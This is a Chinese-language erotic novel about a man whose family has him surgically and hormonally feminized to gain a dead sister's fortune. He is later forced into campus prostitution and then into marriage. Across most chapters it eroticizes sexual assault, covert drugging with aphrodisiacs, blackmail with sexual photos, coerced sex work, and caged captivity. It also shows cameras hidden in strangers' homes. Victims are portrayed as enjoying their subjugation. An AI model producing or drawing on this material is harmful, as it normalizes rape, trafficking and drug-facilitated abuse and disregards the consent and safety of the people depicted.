借了姐姐的富貴命,我卻成為了偏鄉婦[科学幻想]
序章
家裡的生意又再次出現虧損,投資債券的市值也大跌,至今已然是接近破產,老爸連最喜歡的菸也不敢抽了,這次我突然回家看到老媽做的菜都是最普通那種。當初想著不靠家裡自己出來社會打拼的我事業更是一塌糊塗,工作上的壓力更是導致了抑鬱症,好幾次想到了自殺,幸而被家裡發現了不對,在我上吊的時候把我拉了回來。
老爸一直是無神論的思想,可是這幾天貪錢的老媽居然開始求神拜佛起來,卻根本沒什麼用。因為這件事老爸還罵了她好幾天,最後反而是老爸打了一個電話找到了他一個很久沒有聯繫的舊同學。因為信仰上的事情兩人鬧掰了將近三十年沒有聯繫,可是老爸和他說清楚我們這個家快要垮了的情況那個人還是幫忙找了一個老先生過來我們家。
老先生來了我家不停地走動,看了好久,最後指著我說:“令郎的命只算到今年了,明年的運數和命理已經沒有了,雖然被你們救了他一次,可是還是留不到明年。”老爸臉上的顏色變得很難看,接著老先生又說:“不僅如此,你們家的福氣和財運也走完了,以後一直都是行衰運,看卦象是要貧苦終老。”
「這個走完了是什麼意思?」老媽急忙問老先生
“走完的意思是你們命中註定的福氣和財運已經是定數,命中該得的好運就那麼多,就是貴人也幫不了了……”
還沒說完老媽就嗚嗚地哭了起來,哪怕是神棍騙錢的算命的時候也可能說兩句好話,可現在老先生不住地搖頭,一句好話也沒有說。
「難道就沒有辦法了嗎」老爸說
“沒有了,你們家後裔男丁的命數已盡。可惜你們家有女兒早夭,不然可是富貴的命數,連帶你們家庭也要被提攜,肯定會比現在風光不少。”
……
老先生走後經過我的一番追問,原來家裡早前應該是要有一個姐姐,因為計劃生只能生一個的緣故,就墮胎墮掉了。就在我以為這個算命的事情就這樣了結的時候,第二天老媽從外婆那邊的親戚裡請了一個神婆過來,隨同過來的還有一個表姑婆,她告訴我當初是這個神婆算到了這門姻緣好,才讓我老媽嫁給當時還算富裕的我老爸。
神婆給了我們家一個歪門邪道的辦法,那就是她可以把我那早夭的姐姐的殘魂招過來,讓我徹底捨棄現在男性身份擁有的一切,以後我就借她命裡的運勢活下去,但我必須無論是身體上還是心裡上,都要心甘情願地和這個殘魂徹底融合成一體。而且這個殘魂心中有些怨氣,因此變成女性的我最後必須要嫁出去,以完成她的心願。
老爸徹底大吃了一驚,然而神婆緊接著說出了這樣做我可以過得姐姐身上應有的所有壽命,連帶她身上爆滿的福氣財運也會分一部分給我現在這個家庭。隨即貪錢的老媽像雞啄米一樣兩眼放光地對著我不住點頭,老爸本來是明確反對的,但是說也奇怪,神婆剛按著我的頭“招”了一下子我姐姐的殘魂,老爸好久不聯繫的一個生意合作夥伴就給他打來了電話下了一個大訂單,老爸知道事情本不應該這樣繼續下去,然而剛接到的大訂單讓他沒有辦法開口去阻止神婆。
至於我呢?其實沒有人知道我私底下一直偷偷摸摸地有看過一些變成女生的性轉文,心裡並沒有太大的抵觸,而聽到要把我出嫁給別人更是浮想聯翩,想到以後的我要伺候公公婆婆,當別人的好兒媳,我不由得莫名地臉紅了起來。
神婆卻說剛才按在我身上的一小縷殘魂只是開始,但我無法一下承受太多,她已經把剩餘的殘魂保存到她帶過來的一條項鏈上面,要我時時戴著它,直到出嫁之後才能摘下來。
聽到只是一小縷殘魂就已經讓家裡好轉了起來,此時老爸更是沒有了反對的理由,老媽更是親手幫我戴上了項鏈,我感覺身體有一種異樣的感覺,卻又說不清那是什麼。
第一章
為了讓姐姐的靈魂盡快融合到我的身體裡,老媽安排我每天到一家專門為變性美女服務的美容院裡接受女性化催眠,並教我化妝打扮,同時為了變性手術作準備,美容院要我開始服用一些雌激素類藥物。
一個多月後我的臉明明輪廓沒有多大變化,但在鏡子裡看起來已然變得陰柔了一些,有了女生的氣質,皮膚也變得更加光滑細嫩,感覺就好像一個超短髮的女生。
隔天老媽幫我穿上了旗袍和高跟鞋,戴上了假髮,然後老爸把我帶到了一個小型宴會上,來的都是一些我老爸好久沒有聯繫的一些朋友,其中大部分都是醫生,這也是我家重回中上流社會的第一批來祝賀的上流人士,老爸整個人都是神清氣爽,臉上都能看得出來的精神奕奕,說明我做的這一切改變都是有意義的。因為提前打好了招呼,大家都知道老李家的兒子變成女兒了,而到場的很多都是受過高等教育的醫學界精英,對於這種事情不但沒有任何反感,反而祝賀我重獲了新生。
全程幾乎都是老爸在和他們聊,我就只是像老媽教我的那樣,穿著旗袍斯文地走了一圈向各位叔叔們敬酒,最後聊了好久確定下來了過幾天我去高叔叔的私人診所裡進行更深一步的女性化治療。
幾天後我穿著一條長裙坐出租車來到了這位高叔叔的私人診所,說是叔叔但是他比老爸年輕了十歲,只是他和老爸已經先入為主做了朋友,我就只能叫他叔叔了,到了裡面他的私人助理把我帶到了診療室,裡面的護士幫我脫下長裙沒多久他走了進來,我一下變得很不好意思地捂著下體,臉上火辣辣的,在這一個多月的激素影響下我的肌肉萎縮了不少,現在柔弱的就像女孩子的身體一樣。
還好他說這種情況他看得多了,要我放開雙手給他檢查,護士看出我有點尷尬輕輕地拉開了我的手。
“哈哈,叔叔小時候還抱著你給你把過尿呢,沒想到過了那麼久還是一模一樣。”
是啊,我現在的小雞在激素的影響下一直都是軟軟的一小條,和剛出生不久的小孩子一樣大小。
“那段時光真是讓人懷念啊,那時候我沒擺好方向,把你王叔叔的褲子都弄濕了。”說完高叔叔和旁邊的護士都哈哈大笑起來。
但我的臉頓時紅透了,因為此時我腦裡浮現出來的是我以前看過的一部變裝小說: 裡面破產的父親讓兒子穿上女裝去伺候舊日的朋友,以換取朋友金錢上的支持。小說裡最刺激的一幕就是父親的朋友王叔叔一邊獰笑著,一邊像小孩子一樣抱著這位“世姪女”,看她滿臉通紅地在草地上尿尿。
高叔叔當然不知道此時我在想著什麼,很快就檢查完了。
“服用激素的效果還不錯,再多幾個月就可以嫁人了。”高叔叔說完把報告交給了護士,後續由護士繼續負責我的入院手續,聽到嫁人我的臉更紅了。
第二天老媽過來給我手術的簽字,高叔叔對我的喉結進行了改造,等我醒過來聲音已經變成了女聲,過了幾天下體的兩顆蛋蛋也被摘除掉了,讓我感覺兩腿之間有些空蕩蕩的,之後我還進行了全身脫毛,全身美白還有微整形等手術。
老爸則是神通廣大地註銷了我原來的身份證明,通過有關方面給我搞到了一張女性身份證,在這個國度可謂是錢是萬能的。
第二天我還在思緒萬千地想這一切是否值得時,老媽高興地把一份入學通知書放到了我的病床上。
確實我之前已經和老媽說過了我不想在職場上找男朋友的想法,沒想到老媽乾脆把我年齡改小了直接重新讓我唸大學,方便我找一個自己喜歡的男生。
然後老媽還給了我一份苗勒管永存綜合症的醫生診斷證明,證明裡寫著我從小都是被人當男生養大,後來被發現體內有一套女性生殖器官(當然實際上目前我體內還沒有),目前正在接受雌激素類藥物治療,以後只要把陰莖切除重新造出陰道口就能正常生出來小孩子。
簡單點說就是,我現在的身份是一個從小就睪丸發育不良的雙性人,剛完成了睪丸切除手術,可以光明正大地和男生戀愛,因為在這份證明上我是有懷孕能力的。
第二章
在我切除蛋蛋後的這大半個月老爸生意上的訂單一個接著一個,公司的效益蒸蒸日上,此時我就是想後悔也沒辦法了,看著老爸紅光滿面地抽著最高級的香菸,我覺得手術後這十幾天我忍受的一切不適都是值得的。
因為我的小雞還沒有切除,校方沒有辦法把我安排到男生寢室或是女生寢室,所以我只能自己做在外面租公寓住。
隔了多年回到大學,一切都有一種熟悉感,只是物是人非,我到了圖書館看了一個下午的書,收拾好心情準備第二天的上課
而我沒想到,剛開始入學不久,就有人通過學生會得到了我的資料,第五天下課回到公寓,三個男生已經躲在樓道裡,趁我開門一擁而入衝進了只有我一個人居住的房間。
“小美眉,我們是春夢社的,要不要加入我們的組織啊。”
天啊,居然是春夢社,我幾年前唸書的時候就知道這個社團,他們在學校裡私底下組織了一個幾十人的團夥,專門引誘在讀的女學生兼職做校妓,可謂是臭名遠播的,沒想到到了今時今日這個組織還在。我幾年前還沒畢業的時候還看到過一個他們組織的校妓,當時她走在路上已經不斷地被人猜疑她的身份,到處都有人在指指點點,卻還是毫不避嫌地走到春夢社幾個頭目身邊,坐實了她自己做校妓的傳言。大家都說她是被春夢社的頭目徹底控制住了,不到畢業都不能脫離出來。
“聽說你以前一直是當的男生,那麼A片黃書你都有看過咯”
說著一個男生往我嘴裡塞了塊布又把我反手按住,另一個男生隔著裙子拉下了我的內褲,又掀開裙子,兩條潔白性感的大腿之間像小孩子一樣的白皙小蘑菇曝光在眾人面前,第三個男生不知何時已戴上了醫用手套沾上一些綠色的潤滑劑把手指伸進入了我的身體攪動起來。
“我們春夢社之所以越做越大是因為每一個被我們拉入會的小美眉都會享受到徹底的高潮,當然更重要的是我們給你們這些小美眉注入的長效發情快感藥,每半個月就會發作一次,直到你們徹底認同自己的身份拜倒在當校妓的下賤快感當中為止。”
接下來由不得我思考,他們三個把我架著拉到了一個燒烤大排檔那裡,這時候才把我嘴裡的布拔出來,到場的已經有三個女生和七八個男生分成了兩桌,這個大排檔我是非常熟悉了,還是學生的時候經常和寢室的同學到這裡來喝酒,沒想到這次來我竟變成了陪酒小妹的身份以給他們助興。坐在同一個地方卻當著徹底不同的角色,這造成的強烈身份反差使我覺得恍如隔世。
按照社團的規矩女生要不斷地給男生倒酒,而我之前在美容院接受的女性化催眠也令我覺得應該這樣做,還沒喝上一輪,坐在我旁邊的男生把手伸到了我的裙子裡,摸著我的小蘑菇當作女生陰蒂一樣異常熟練地玩了幾分鐘又抽出去和人喊酒拳,看樣子他們已經不是第一次這樣做了,這時我隔座的女生也被另一個男生伸手摸了進去,她卻好像沒有反應一樣繼續夾菜。理智告訴我這時候應該大聲呼救叫人來救我,但心裡居然對男性的撫摸沒有多少反感的感覺。
還有一點就是,男性時的我一直對校妓抱有很強的窺視慾,只是一直沒有機會近距離觀察,這時都來到這裡了,我很想留下來對這樣的校妓聚會一看究竟。
接下來我隔座被摸的女生右邊一個大塊頭招呼她喊酒拳,沒有幾下她輸掉了,男生拿出一個一次性杯倒滿啤酒伸到桌底,我把頭低下去隱約看到了他把自己的肉棒伸進去啤酒裡面攪動,然後拿上桌面,那個女生毫不猶豫仰頭一口全部吞了下去。
我因為不會喊酒拳一直沒有玩,又喝了一陣他們甚至鼓動大排檔裡的啤酒小妹喝他們的“特製啤酒”,推銷啤酒的小妹當然沒有上當。而且這個啤酒小妹我還認得,還好她沒有認出我,在我上了一次廁所回來的時候聽到了他們之間的聊天,說是一路架我過來大排檔的三個人就是老大派過來專門負責調教我的,我為了聽到更多隱秘沒多久又找了個藉口往廁所跑,轉了兩圈躲在一個隱秘的陰暗角落偷聽,準備等下從這裡逃走。
通過他們的談話得知春夢社是把我當成了一個特殊的賣點,專門給那些喜歡偽娘的男生服務。
接著剛好從我這個角度讓我看到了坐席上最漂亮的長腿女生脫掉了拖鞋把腳伸到了對面的男生褲襠上,幾隻腳趾頭異常靈活地挑逗著男生的肉棒,一時間看得我都忘記了從這個角落逃走的念頭。
“好啊,你這賤婊子想逃走是吧”
負責調教我的三人中最強壯的阿彪不知何時已走到了我身後,迅速被堵住嘴的我被拉回了我的公寓,我不知道剛才喝的一點啤酒裡早被下了春藥,一被拉回去我就全身無力地被灌腸,灌洗乾淨後他們往我身體裡灌注一種藥水,我的大腦迷迷糊糊的,不知道過了多久出去了兩個人帶著一個剛才喝酒的女生進了我的公寓。
“好了阿媚,你開始教她第一課。”
說著這個我後來叫媚姐的女生和我親吻起來,她知道我之前一直都是男生根本不會拒絕,親了一陣又拉著我的手去摸她的胸部,她也摸我微微發育像個小女生一樣的胸部,然後三個男生裡最矮的阿安躺在了地上,阿媚開始用腳隔著褲子揉弄阿安的襠部,然後也把我的腳牽引了過去放在一起。一種特殊的感覺再次傳來,之前進行的女性化催眠也沒有教過我做這種事,第一次給男生足交居高臨下的女性視角對於剛轉換成女生的我來說好像打開了我心裡的一道封鎖。
阿媚隨即蹲下身去拉開了阿安的褲襠拉鏈,軟軟的女生手指抓著了我的雙腳開始教我怎麼動作讓男生舒服。然後她又搬了一張凳子坐在我的對面,兩個女人四隻腳一起搓著阿安的陽物,其實大部分都是阿媚在動,但阿安快要噴射時她把腳抽了出來,大量白色的精子都噴在了我的腳上。再後來的事我就開始記不清了,腦子一直迷迷糊糊的,到醒過來已是第二天。
第三章
等我醒來我的床上散亂地放著大量的拍立得照片,裡面是我給做著各種淫蕩動作,有用手刮著一臉的精子在舔嘴唇的,也有一臉媚態地給用腳給男人搓肉棒的,更有我坐在男人身上被幹同時還用手撫弄著另外兩個男人的身體的。我知道事情不妙,這時媚姐端著一瓶飲料走了進來。
“已經發現了吧,我們都是這樣過來的,你已經用腳踩過社團成員的肉棒,以後就是和我們一樣的校妓,不然你昨晚給男人足交的浪蕩模樣就會發得到處都是,以後你也沒法嫁人。”
「可是……」
“你已經主動用腳給男人搓弄過了,你還以為自己不是女人嗎?”
說著她遞給我那瓶飲料。
“這個是美國特製的營養液,只要喝了幾天內都吃不下任何食物,就是硬吃下去也會吐掉,只能繼續喝這個營養液補充營養,這樣你隨時可以用你的後門伺候男人,接下來幾天我會教你怎麼做一個女人,讓你慢慢變的有女人味。”
媚姐開始教起我怎麼不經意地露肩這些在我以前看起來是婊子行為的小技巧。還沒學兩個小時又有了兩個男生敲門,媚姐給他們開了門進來,用他們的話說就是要用接二連三的快感把我幹得心服口服,從此心裡徹底依賴男人。
但是我的記憶在那兩個男生進門後就又開始記不清了,一直都是迷迷糊糊的。這樣的狀態持續了半個多月
如果有人打開後來我這半個多月的所有錄像帶就可以看到,我從一開始被他們抹藥不情不願地爬到男人身上,到後面聽話地只要肉棒一甩過來臉上就主動地湊過去吸,再到男人一拍屁股我就會把裙子撩起來露出自己的肉穴,用媚姐的話說就是我在這半個多月裡被催情藥劑徹底馴服了,成為了她們之中的一員。
在我徹底被馴服後春夢社的米老大開始把我變成了他們的賺錢工具,媚姐幫我化了個英姿颯爽的男人妝,並讓我穿上了男性衣服光明正大地走進了男生寢室,隨後米老大開始了對我的遠程操控,我一進去就到了指定的寢室,從背包裡拿出來女性的衣服,沒有幾分鐘我就換了妝換了衣服戴上了假髮,身上充滿了女人味,然後我拿出了我的醫學證明,這一次是真的了,因為高叔叔已經聯繫找到了和我匹配的一副被捐贈的年輕女性子宮和陰道,用最新的科技完美地保存著,只需等兩個月後我的身體被雌性激素改造成熟就可以去進行移植。所有這次我很有底氣地表明了自己的女性身份。
很明顯我這個外表是偽娘的“真娘”非常吸引人,直接走進男生寢室是之前所有校妓都不敢嘗試的行為,此時我卻輕易地辦到了,而且也不怕管理員的抽查。接著我開始了夜夜換男人的生活,這個過程中所有男生都是給米老大空中轉賬,我沒有接收任何一分錢,甚至有幾個人騙我說已經付了賬,讓我幫他們吹簫,事後被我發現了是假的,但我也沒有追究他們的行為,這一下可引起了轟動,最後還是米老大出面叫停把我從男生寢室拉了出來。在短短十幾天裡面我可謂人盡可夫,幾乎每一個樓道和樓梯都在深夜被我爬過,是真的像母狗一樣在地上爬,被夜裡睡不著的男生看見了又是一輪拉進寢室的猛乾。
他們沒有人知道我如此賣力是因為我曾經在這裡住了三年多,只是這一次換了一個身份,所以其實是我這個偽娘學姐在吃這些學弟的嫩草,甚至還有一個五年制的學弟還在原來寢室,當年我還和他有過一面之緣,而我卻變成了母狗趴在地上,被人一邊幹一邊慢慢爬過他的寢室門,甚至我還故意趴在門口的地毯上停了幾秒,因為太刺激了還忍不住開口叫春差點引來管理員,後來每次回想到那一刻我都覺得當時的自己真的淫浪到了極點。
「***,快出來看啊,當年的前輩變成了母狗在你的門前被人幹,打開門你也可以幹我喔」我心裡的對白喊出來變成了含糊不清的一聲聲叫春,身後的男生還以為是自己異常威猛,用力抱著我的腰猛幹然後在我身體深處一洩如註。
這次過後我也不知道米老大在我身上賺了多少錢,我卻食髓知味,在學校深夜無人的時候開始了露出。我故意爬到了美術係人體素描的平台上擺出各種姿勢用三腳架自拍,又錯開巡邏員的時間到校道上戴著項圈爬行,還在學校最有名的地標面前赤裸著身體拍照,萬一哪一天這張照片被曝光了,大家就會知道是這所學校培養出了我這隻騷母狗。
但我露出這件事並瞞不過媚姐,因為她現在和我住在一起,很快米老大也知道了我的癖好,而我的胸部也開始大了起來,不能再冒險進男生寢室了。
米老大就安排我在講課的課堂上坐在最後一排隱秘地給一個男生打手沖,打完以後學弟非常緊張的樣子,我的臉上卻作出一副認真聽課的表情,右手繼續抄著筆記,左手慢慢把套套連著裡面的精液一起拿出,低頭塞進嘴裡當口香糖嚼了起來。然後站起來整理了一下裙子轉了個身偷偷坐到了前排一點的位置
後排還在發呆的學弟看著我若無其事地在前排繼續聽課,尤其是我幹練沉穩的氣質看起來還充滿了學姐feel,嘴裡卻好像真的在嚼口香糖一樣,看得那個剛打完手沖的男生差點又射了一次。
第四章
一個禮拜後我被米老大外派出校,接送我的是一輛在這個大學裡私底下流傳得很有名的校妓車,沒想到幾年後坐在車里被外送出去給別人幹的校妓卻變成了我自己,最後車子停下來時我心裡嚇了一跳,這居然是我中學同學阿冬家裡開的旅館,然而此時我不上去也不行了,幸好車里有一個口罩,我趕緊戴上口罩走下了車門,穿著高跟鞋的我走路並不快,想一下跑到樓上去都做不到。還好前台接待那裡是一個新來的小妹,我頂著她鄙夷的眼神直接上了603號客房。最後快要到603號房的時候遠處卻傳來了阿冬他老爸的公鴨嗓!
嚇得我趕緊打開房門躲進房間裡,房間裡面佈置我還印象深刻,因為幾年前我們幾個中學同學還在這裡通宵看世界杯,就在隔壁的602號,當時我們在看球隔壁卻傳來叫床聲,在場所有男生還隔著墻罵了隔壁的應召女郎一頓,沒想到幾年後,我卻來到了墻後,還變成了被大家口中辱罵的“主動送上門給人幹的野雞”。想到這裡,我不禁害怕被阿冬的父親發現,想著我等下出去的時候被發現了怎麼辦。
我簡直無法想象阿冬知道了他的好朋友在自家旅館房間裡向嫖客賣騷,然後在白色的牀單上被幹得腸子裡裝滿白液,最後還若無其事地踩著高跟鞋從他面前走過的情形。
然而也輪不到我多想,客人很快就在我進門幾分鐘後也走了進來。
媚姐怕我第一次在外面面對不年輕也不帥氣身材還走樣的客人會冷場,所以早早給了我一支強效催情藥劑,我趁機找了個機會服下,才開始仔細看了一下客人,這個客人叫牛哥,雖然長得不帥氣,身體卻很強壯。
簡單的聊天得知他是中了樂透的暴發戶,找我是想品嘗一下偽娘的滋味,很顯然米老大並沒有把我的全部全部情況告訴他,我也懶得多費口水解釋,因為此時我的身體已經來了感覺,牛哥很快把我的衣服脫了下來,我赤腳被他拉著走到了浴室,牛哥走過去打開了蓮蓬頭,就迫不及待地過來抱著我一起進行淋浴。我之前自己心裡一直幻想著找個女朋友和她一起洗鴛鴦浴,沒想到這個想法還沒能實現,現在自己卻翹著屁股趴在鏡子前,被男人一邊摸著剛發育的奶子一邊搓身子,而且這個動作是那麼的自然,似乎身體已經早我一步在藥物作用下完成了蛻變。
還沒搓幾下,甚至浴室裡的溫度還沒上升起來,我就被當作小女生一樣抱著放到了大廳的紅木老闆桌上,牛哥遞給我一條浴巾,我按照他的要求擦乾身子穿上了秘書制服,接著鑽到了桌底下,沒想到牛哥坐下來我剛把他的陽物含在嘴裡,他就在我的嘴裡射了出來,我的藥效還沒過,當時想也不想地把精液全部吞了下去,一臉享受地用舌頭幫他做肉棒清潔,慢慢把他吹起來後他拉著我在床上看著A片幹了進來,我跪著被他向後拉著兩隻手,但是他好像有點不滿意,又拔出來到旁邊穿上了西裝,然後問我會不會角色扮演。
米老大給我安排的當然沒有那麼多服務,但是這並難不倒我,我們兩具身體再次結合後我很配合地進去了角色。
“………”
“小李你辜負了我對你的期望啊,你看你現在怎麼變成了這個樣子”
“牛哥,對不起………”
“當初我是怎麼和你說的”
“你希望我迅速成長起來,成為你的左膀右臂為你分擔工作”
“可你看你現在成為了什麼!”
“我現在成為了一個被人抓著左膀右臂,為老闆分擔性慾的偽娘秘書。”
“………”
臺詞還沒繼續接下去牛哥又是在我體內一洩如註。
沒想到這個客人居然是個早洩男。幸好他非常大方,除了應該給米老大那一份之外又另外給了我雙倍的錢。有這樣好的客人我當然叫他幫我擋著別人的視線安全地回到了車上。
然而車上的司機絡哥已經等得非常不耐煩了,他把我拉到一個偏僻的草地上讓我用嘴給他洩慾,還好媚姐給我的那持久的藥效還沒消退,也許她早已預料到這種情況,那就是每個被載出來外派的校妓都要幫接送的司機出一次火。
“你們這些校妓不管換了多少屆都是那麼下賤,漂亮的都被我幹過了,還有的我看不上的主動找我車震,叫我帶她們出去兜風……”
嘴上罵得很厲害的絡哥卻也是個早洩男,也許是剛才他在車上已經憋得太久了也不一定。出了火後我回到後排,摸著這個不知道多少校妓曾經躺在上面被人幹的座椅,聽著絡哥說他車上的故事。
“最刺激的那一次我跟你講吼,有一個戀足的客人叫了四個校妓都坐在後排,他躺在地毯上讓四個人赤腳踩他,還要我到處兜風,我足足憋了兩個多小時到處兜風讓他在後排那裡玩在那裡玩吼……”
我想了一下如果我是男生又有錢會怎麼樣,但很快我丟掉了這樣的想法。
到了今時今日我早已是坐在車里和姐妹一起踩男人的身份,無論如何我也回不到過去了。
第五章
而在接下來的一個多月裡我在學校除了米老大的安排之外,還食髓知味地隔三差五約學長學弟出來幹炮,在他們胯下輾轉承歡。更是多次當應召女郎外派到各種高級的酒店賣春。
兩個月的時間很快過去,按照約定的時間老媽把我帶到高叔叔的私人診所進行了陰道和子宮的移植手術,同時切除了小雞,雖然我在服用激素後已經開始了蹲下來尿尿,但新移植的不隨意肌讓我練習了好久才掌握了怎麼像女生一樣上廁所。
不過在這次手術之後米老大給我安排的男生少了很多,因為我切除了小雞已經沒有了原來的賣點,變得和普通女生一樣,而且我沒有媚姐她們幾個姐妹那麼漂亮。漸漸地來找我的男生也越來越少,但是不把小雞切除是不行的,按照神婆的要求我必須要完全變成一個女生來嫁人。
在我移植了子宮沒多久老爸的生意毫無意外地做得更大了,而我這邊卻是情場失意,幾乎是脫離春夢社的狀態,米老大用來控制我的催情藥劑也停止了繼續給我注入。經過一番交涉我在米老大那裡買到了春夢社的姐妹畢業的時候才會得到的解藥,算是正式解除了我和春夢社的合約。
因此我有了大量的空閒時間,白天去聽課或者到圖書館看一些我感興趣的書籍,晚上有空就會去酒吧,也正是在酒吧裡認識了和我很聊得來的偉華。
偉華是一個Uber租賃車司機,這裡不得不說他是個非常懶散的人,一天賺夠他自己花的錢就不載客了,所以才有空閒泡酒吧。
那天晚上我們兩個人都喝得醉醺醺的,他說他喜歡我這樣的性轉女生,不會嘮叨而且有種特別的氣質。半個多月沒和男生做愛的我被他誇得輕飄飄的,高興之下把他帶到了現在只剩下我一個人的出租公寓。
經過一夜的瘋狂翻雲覆雨之後我們成為了砲友,胸無大志的偉華對性愛方面非常癡迷,他隔三差五地就會約我到情趣旅館幹砲,又或者是在他的車上玩車震,最後毫無疑問地連他的出租屋也變成了我和他的愛巢。
隨著我和偉華感情的迅速升溫,我心中因為離開春夢社而產生的空虛失落都不見了蹤影。
正當我以為我和偉華會這樣如膠似蜜一直下去的時候,偉華告訴了我一件我意想不到的事情,他說大前天我和他兩人的合照發到博客被他鄉下的一個伯公看見了,其中我脖子上的項鏈被那個伯公發現了不對。他的伯公之前也跟一個不是什麼名門正派的貪財老道士學過一些玄學。
偉華說要是我不相信可以找一個信得過的人一看就知道禍根在哪裡。
—————————————————————————————————————
我不知道這幾個月裡老爸居然一直不停地給神婆奉獻金錢,除了大筆的奉金,老爸更是發動人脈幫神婆找回了失散多年的親弟弟,神婆對此當然是萬分感激。沒有錢的時候還不覺得,但重新回到上流社會之後的老爸就生怕再次失去現在擁有的一切,而且心裡還不可抑止地希望能賺得更多。
當我找了個時間和老爸說了我脖子上的項鏈被另外的一個江湖中人看出有禍根之後,被重回上流社會的成就感衝昏了頭腦的老爸終於找回了一絲警惕,多年商場浮沉的他當然知道貨比三家的道理,只是這幾個月裡一切都太過順利,讓他一時被橫財遮住了眼睛。老爸沒有叫我馬上去找偉華的伯父,反而是穩重地先聯繫他信得過的人。
說起來我家認識的信得過的人就是之前那個老先生了,上次由始至終他都只是收了一點點交通費,為人可謂相當正派。老爸就再次把他找了過來。
“胡鬧!”沒找到老先生剛到我家進門就是這一句,當看到我家的改變,還有當時說了活不過明年的我變成了女生好端端地站在他面前,再加上我脖子上的項鏈,老先生明顯知道了事情的來由。
很快老先生說明了這種借命的旁門左道有違天意,借來的壽命只夠延續我七年又七個月的壽命,而在我出嫁之後大部分福氣財運會跟隨借了姐姐命的我一起嫁到夫家去,留下來的可謂是十不存一。
此時我已變成了女生木已成舟,老先生歎了一口氣,和上次一樣由始至終沒說出任何解決的辦法,這一次更是連交通費也沒有要,轉身就要離開。
老爸連忙把老先生攔住,再把神婆請來對質,神婆收了我家大量的金錢還找回了家人,心存愧疚的她也沒有花言巧語狡辯或是強詞奪理,只是支支吾吾地說就是十分之一也足夠我家維持現在優裕的生活。還沒說完老爸就把她趕了出去,然後客客氣氣地開車把老先生送走。
—————————————————————————————————————
第六章
知道了我嫁出去之後會帶走大部分福氣財運的老爸老媽急得像熱鍋上的螞蟻,但是借了姐姐命的我又不能不嫁出去,但是又沒有了好的辦法,最後同意我去找偉華。
看著老爸老媽心急如焚的樣子的我趕緊回去學校找到偉華,沒想到偉華開口就是要我徹底成為他的女人,只有這樣他才會幫我。
偉華明確說明了他的伯父也不是什麼正派人士,而且這件事情頗有些麻煩,需要偉華付出一些東西,沒有利益偉華和他的伯父根本不會幫我。
無奈之下我只好找家裡要了一筆錢,無奈偉華就是要我徹底成為他的女人,死死咬住不肯答應其他任何條件。
最終,我答應了他。
偉華要我用家裡給的那筆錢去買米老大那裡控制我的催情藥劑,我之前服用的是A型,得到的解藥也是A型。這次我把錢給了偉華,和他一起去米老大那裡直接買到了B型的藥物。偉華急色地在他的車里就把B型催情藥劑注入我體內,還沒等偉華把車開回他的出租屋——我和他兩人的愛巢。我已經恢復了那種被性慾控制的狀態,隨後偉華把我抱上樓,關了門就往自己的肉棒上抹上了配合B型催情藥劑使用的費洛蒙,我的頭又開始變得迷迷糊糊的……
半個月後
偉華的出租屋,一個鐵籠子裡趴著一個戴著粉色項圈的長髮美女,全身非常豐滿白皙,穿著性感的網襪,腳趾塗了誘人的紅色腳趾甲,黑色的性感皮束腰,屁股後面還有一條狐狸尾巴,兩個有了C罩的奶子暴露在窗台射進來的陽光下,卻一臉安穩地睡著了,這個人當然就是我。
再次被催情藥劑徹底馴服的我幾乎是對偉華言聽計從,此時在籠子裡的我知道再過一刻鐘偉華就會把我放出來,因為偉華用我的錢請了兩個私家偵探,在附近十幾個住了底層夫妻的出租屋裡裝了攝像頭,他們大多是離鄉到這座城市來工作的恩愛夫妻。而偉華要求我做的就是每天觀看並學習模仿這些底層妻子的行為,並把自己的身心代入這些底層妻子其中去,想象如果讓我代替那些務工人員的妻子一天我會怎麼做。
實際上偉華給我截取的片段大多是這些夫妻做愛時的場景,他就是要我模仿這些年輕又和丈夫恩愛的妻子怎麼順服在男人身旁,掌握她們和丈夫打情罵俏的口吻,還有低身侍奉男人的態度。
—————————————————————————————————————
這樣又過了兩個月後我的心態已經有了很大的改變,出門時跟在偉華身後像個小女人一樣,也不在外面穿著太過風騷暴露的衣服,偉華還讓我和那十幾個女生成為了好鄰居,整天聚在一起聊家長裡短,甚至一起討論和丈夫之間那點性愛的事。
在偉華覺得已經能完全掌控我之後,又要求我老爸老媽以郵局匯款的方式給偉華伯父匯了一大筆奉金,同時在我再三的懇求下,偉華終於把他的伯父從鄉下請到了我家裡。
為了防止再次出現意外,老爸把老先生還有神婆一起請了過來,讓他們和偉華的伯父一起做個互相印證,等大家都坐下來閒聊了幾句活絡了氣氛之後,偉華的伯父說出了他的辦法。
偉華的伯父說要避免我嫁出去把福氣財運帶走很簡單,那就是讓我嫁回家裡來。
我的父母可以新收養一個兒子,接著和我斷絕關係,然後把我過繼到移植子宮給我的那個女性家裡。選好良辰吉日後讓我和這個新收養的兒子結合,我就成了他的妻子。這樣我的老爸老媽就成了我的公爹和婆婆,那十分之九的福氣財運也會跟隨我一起嫁到這個“新家”。
不用說這個兒子最合適的人選就是早年親生父母已經因公殉職的偉華。
偉華的伯父還說只要我被過繼到新的娘家之後我就要被切斷一切的經濟來源,老爸老媽要徹底把我當新來的兒媳婦看待,也要把改了姓的偉華徹底當兒子,我嫁給偉華後作為公爹和婆婆要對我這個新兒媳婦嚴加管教。讓我徹底順服我的丈夫,只要我和偉華的婚姻不破裂,那十分之九的福氣財運就算保住了。
而原來偉華的命格是特殊的雙命之人,除了主命之外還有一條副命,只要我嫁給偉華,偉華的伯父就會作法把偉華的副命綁在我身上,這樣七年後我也能繼續活下去,但和偉華的副命綁在一起之後我就再也不能離開偉華了,否則會有性命的危險。
這個想法說起來很荒唐,但老爸老媽的眼裡卻充滿熱切,熠熠發光,因為這樣既保住了來之不易的財富,也讓我在七年後可以繼續活下去,所付出的僅僅是依附在偉華身邊這樣簡單的事情,而妻子依附在丈夫身邊是再理所當然不過的了。
此時他們已經沒有辦法接受再重新回到貧困的生活中去,決定一切就按照偉華伯父的辦法去做。
接下來我的父母給了移植子宮給我的那個女性家裡一大筆錢,但是那些都不屬於我,而我所得到的僅僅是可以在這個“娘家”暫住一個月,等待出嫁的日子。而這一個月的時間裡,我還要參加一個催眠培訓班,本來是給那些不願意家族聯姻的大小姐們強制催眠讓她們變成一個好太太好兒媳的,此時卻施加在了我的身上。
而偉華也選了一個好日子正式成為了李家的兒子。
